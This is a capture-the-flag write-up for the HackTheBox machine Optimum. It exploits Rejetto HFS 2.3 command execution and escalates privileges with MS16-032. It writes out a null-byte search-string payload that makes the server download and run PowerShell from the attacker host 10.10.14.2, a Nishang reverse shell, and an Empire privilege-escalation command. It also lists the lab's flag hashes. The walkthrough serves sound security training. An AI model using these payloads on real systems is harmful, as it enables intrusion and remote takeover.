# Optimum

## Optimum - 10.10.10.8

### **Target Enumeration**

IP:  10.10.10.9

User: d0c39409d7b994a9a1389ebf38ef5f73

Root:  51ed1b36553c8461f4552c2e92b3eeed

### Ports / Services / Software Versions Running

```
80/tcp open http HttpFileServer httpd 2.3
```

### Vulnerability Exploited:

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution

<https://www.exploit-db.com/exploits/39161/>

### Vulnerability Explanation:

Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.

### Privilege Escalation

MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation

<https://www.exploit-db.com/exploits/39719/>

### Replicating the exploit:

Nmap

<div align="left"><img src="https://lh4.googleusercontent.com/YIR1jqmnj5TZObjT88bI0Fp4OJPFKYzdvpRQoLxsYFsIRymHQnawMsk3h_esqoAPDkN4agU9_8514gW8jMexEzWztShRZ-wQAbKyDWdAyLI_ctgFAGsoTDEFHtcCjIt4-aloQzPe" alt=""></div>

UDP

<div align="left"><img src="https://lh3.googleusercontent.com/VqxdXxDPCsy9ntz4x3mQEHDF7ab4Yrp0bOnw0wLnkufouyVr4mzJKspstaO2GpeFw0klTFeJksjR6F6XoOkRRTkECAETTfqaLs67azjlC0gzLLBzOV4hKDkdZqG43mTS2fTL7URb" alt=""></div>

Port 80 in browser

<div align="left"><img src="https://lh4.googleusercontent.com/l-RFX0gi6uZ4TlKQQwYUrsapZcomWuejW0lXtNHciLs_gN_ocwkWTvgXzDbDd3j27aYJyAzhMH3ohlUaWFdYTwdUIx9Vs5WCJ7mgPtkXoMP5JWoDvkCE5G4eYZ8Y3mU4iFwRkL5G" alt=""></div>

Version number on page and in sourcecode:

<div align="left"><img src="https://lh6.googleusercontent.com/SfxBrYLNx8Ovxbx1ZY-0iNSiLQwbvZTyUrvZDaoXVSCf-Okidw4xKJSlKJ90hGUB-G6y1GtPFU3HyTq0tFVdHcTA5RFgi_h10QYL19MfYL7AaNwIdwSCUq8lfghkOX_qvpJkyq9a" alt=""></div>

Searchsploit

![](https://lh5.googleusercontent.com/Od6_-zbu8SRchnBvY9qCbD_sy6De7Bm3FONsR5cl2xYs7zCieV5oX110cCBbRXa9_J3flOd1Sf34i7tyU-h1tqvR1HZ6mQU95265s68D1BRtnm2ZFD5iw-Rc8R8SAs8zYm2UrcwK)

Copy to current dir

```
searchsploit -m windows/remote/39161.py
```

Modify the file with&#x20;

<div align="left"><img src="https://lh5.googleusercontent.com/qRmdKbMzb_mj_5c_G1zG54YmZSvvCV9mnqS96vB9sb9EO-nuPz5UnRIIUwmT0vEIM9i_ZgKlbqMqG18K7d1UCTDhHGRxue4g6gZ23qBet3IZV3mso9pfEreG-Ii9uA8FjGltwH7h" alt=""></div>

Requires nc in current dir server over port 80 and start a listener on port 443&#x20;

Execute the script

<div align="left"><img src="https://lh5.googleusercontent.com/zIZ6tBgWy116HEvNj36ecXV-jMpLwdSMChLfrAwVIDjNISqnRMItWwcHIgaQ9veSX1fPv-Kd5BQGCI6Qv01rJVTOd0Y02uZ-5zPyho0TQN1wGA6XddMTnDVY774GvoxHpOWNscy6" alt=""></div>

Now you have a low priv shell

<div align="left"><img src="https://lh3.googleusercontent.com/liSoGAEdaJilZqRCquIoPYHPiSkKjClgA2Ujr9ovzm7S1E1rDL2Z59Rj7_BFUdzdcCrQPN8zLUfxi-Ds_MSsJBMbtcjVkm8cZrmyO1kZVG68F6fTJI7kVpRc8e3HPzImquBR__0R" alt=""></div>

Proof

<div align="left"><img src="https://lh4.googleusercontent.com/fIX_d2XJForM_cCrW2i2it_bUnMc1fcJqoCneaOR2RcIak2k1zSpDUPSnHnRi6GAlEyxcRWF6M7Kdxk7MQ74QEeA1zOvfPF9lDtrcNYBxm3E0f2NIEYyvQE-7SFF9BTJfmPfIMdz" alt=""></div>

That’s the easy way. There is also a metasploit module. Harder way, via the webapp.

Null bytes allow code execution

<div align="left"><img src="https://lh4.googleusercontent.com/9k22vcwCGX80rdmNBQB-v3elCURRRI4eUYr1kn5Yi5G35Bv-8pMhxIAIP_-mKgNE2fGwf8izS5DnXkTf9_3S9kh-jjT9ZMA86kTdAqQRl26-0-fiz-ofH3UplhBLNSXCSQ-FKlv-" alt=""></div>

Send that to the repeater and ping your localhost

<div align="left"><img src="https://lh6.googleusercontent.com/c9D2tpt1z4-5B-ziKl1bjQH1CBgEBec97n5aKtitJ-zJKvjMV1eDuX1nzkJGjHM7TuRbuQxaX7XR5QTs0zNlw-j9a5abL4ePSmkjr8BORT1cVSQNNsaU09oUNjE_ctDemar07ynQ" alt=""></div>

Use TCP dump to see if you can see the ping

![](https://lh6.googleusercontent.com/bMa-GXEQPjJLKvQYd0CjS3YQ5SrAhMGeEahSoWOkBMvwh6W0Cjaa0f19PLy4kG0G-cgbslJGfOM428hmZD-yuXOIINMBsGXLTmdWI_OvsauIPiCa0BkUXyHWxoa_wAL_hbLRP1XD)

Now download nishang&#x20;

`git clone` [`https://github.com/samratashok/nishang.git`](https://github.com/samratashok/nishang.git)&#x20;

Copy powershell command to local folder (do not edit)&#x20;

`cp nishang/Shells/Invoke-PowerShellTcp.ps1 .`&#x20;

Add the following to the bottom of the file

<div align="left"><img src="https://lh5.googleusercontent.com/hayvluV8DGUKP8Xm5tMdvNfJBPocRUSWq_iNbbqgfQQ0hT56-tiihv31FDDYooIBelR-xJU76NJoJqULpUhRJ_7548yzVUbMP6KQIrIdyQ1untM44NXr2Qhq3WUVm76f_qif6Zkz" alt=""></div>

Check you can ping with powershell&#x20;

`/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe ping 10.10.14.2}`

<div align="left"><img src="https://lh5.googleusercontent.com/NdtL49T_-h3BqZwgwjJGBb8v-W-JwEy11nJ83MdT9dHa3Eu_SRukOrwZVTGcKz00T6hpM_SIRq0scQI1txqNUO-sYk35eJ8AXxzsq9YTKOxVNiqSP9-a5Oaee-XFdVZQ0GQGLdEq" alt=""></div>

Check with tcpdump which should respond.&#x20;

Replace ping with the following which needs to be URL encoded.:&#x20;

`/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('`[`http://10.10.14.2/Invoke-PowerShellTcp.ps1').}`](http://10.10.14.2/Invoke-PowerShellTcp.ps1'\).%7D)

<div align="left"><img src="https://lh4.googleusercontent.com/BRuphOZtnd7SiMkd2Q4b2r2IYasBZITR1y_Ihk5CAJCGlAMOSIhggRlrfhBGGOhgTsrQeBFB5u7sJJmD3iLKWzHB93P7T_-wbGnJdePxskJd2iSO4GNLX6np4XkBN8-0LzpcvlZg" alt=""></div>

After a while you will have a Powershell shell.

<div align="left"><img src="https://lh5.googleusercontent.com/voHlKMw9cCBV5p1BwbpQAsFh6Ma6M2DGhtRxA77HcbX8CdugekQCBe084p6raXM85_ZKWvD1dsj8dV1eYwz1oQCQZZgzCwDQbUh1Kd5MCvop-duefTa7Ikkarv7b1XEARXSYPRfP" alt=""></div>

Run systeminfo and Sherlock.ps1 from within powershell&#x20;

`IEX(New-Object Net.WebClient).DownloadString("`[`http://10.10.14.2/Sherlock.ps1`](http://10.10.14.2/Sherlock.ps1)`")`

It appears its vulnerable to MS16-032

<div align="left"><img src="https://lh4.googleusercontent.com/ee0A-ZfQbmcjyKxUQQSdcVSt_qDIzG61aVG8lLBOMBUK6fyA93ZtqYvQ-oi_V6PGUbGTYiJ6Q-ipO8dG33BEP5Itkb5lI4-LHwuzBoNL-b1yjSiDvXhgH9zaGPVr5ZBaXrdj5w56" alt=""></div>

We do not have an interactive session so will need to download Empire to elevate our privileges&#x20;

`git clone` [`https://github.com/EmpireProject/Empire.git`](https://github.com/EmpireProject/Empire.git)&#x20;

`cp /root/Data/Lab/Hackthebox/HackTheBox/10.10.10.8/10.10.10.8/Empire/data/module_source/privesc/Invoke-MS16032.ps1`&#x20;

Modify with this line at the bottom

![](https://lh5.googleusercontent.com/eleWIlHhhhH-ghnEYH_iLIwSuFGbEk5EVAGzzDRT1t-lAPc26hSoYSpIdhElEVSjNEuZhIusC1ID8JxaORgWq1lgsXaLp15-JM5oJhFipYWm2J6M4OReNN22Dj4jM6AvbSiakILH)

`Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('`[`http://10.10.14.2/shell.ps1`](http://10.10.14.2/shell.ps1)`')"`&#x20;

Copy existing powershell tcp script to shell.ps1&#x20;

Amend the last line to the following and set up a nc listener on port 444&#x20;

`Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 444`&#x20;

Execute the following as a low priv user:&#x20;

`IEX(New-Object Net.WebClient).DownloadString("`[`http://10.10.14.2/Invoke-MS16032.ps1`](http://10.10.14.2/Invoke-MS16032.ps1)`")`

![](https://lh4.googleusercontent.com/7Stv9YHEYbXyNx_oGMaBGQyUiMxNdneNgGwYbZoCwj9lzuc1fT0piHwS-xofxkvm-eYCUpgFC5rIajK3WO9WetYGqRnNDd4yNLO-Ogm813d6-1FECZ5AOdk7w8ZAmYSeFzB0KwFW)

Wait for a while and you will receive a system shell.

<div align="left"><img src="https://lh5.googleusercontent.com/gY8pmubfKE6scjdxvANQWcXRQUXNF4odLQDE2wnmAU1oFgj9ZVPgzEHCRnsPw2s-3pghmTFtTylfgUdJXcfQPvyNNT9dOI7vTIIcCkhLBG9ZvKELG1S4aemCd8uBED1ZErg3rK3r" alt=""></div>

Evidence

<div align="left"><img src="https://lh5.googleusercontent.com/lSX8XTiC6EkZK_qqbeuhOnajb6iWnJlBXu0HcRbl1_IWR18l3oxO4lR7cbwUFEGuJhkkwlkd-TQwjs-JSXFNEWfa5GTHk7X_Fe6LzuBYpITKu4R5ypywKVFg6eFiBdl7JupOrzpQ" alt=""></div>

<br>
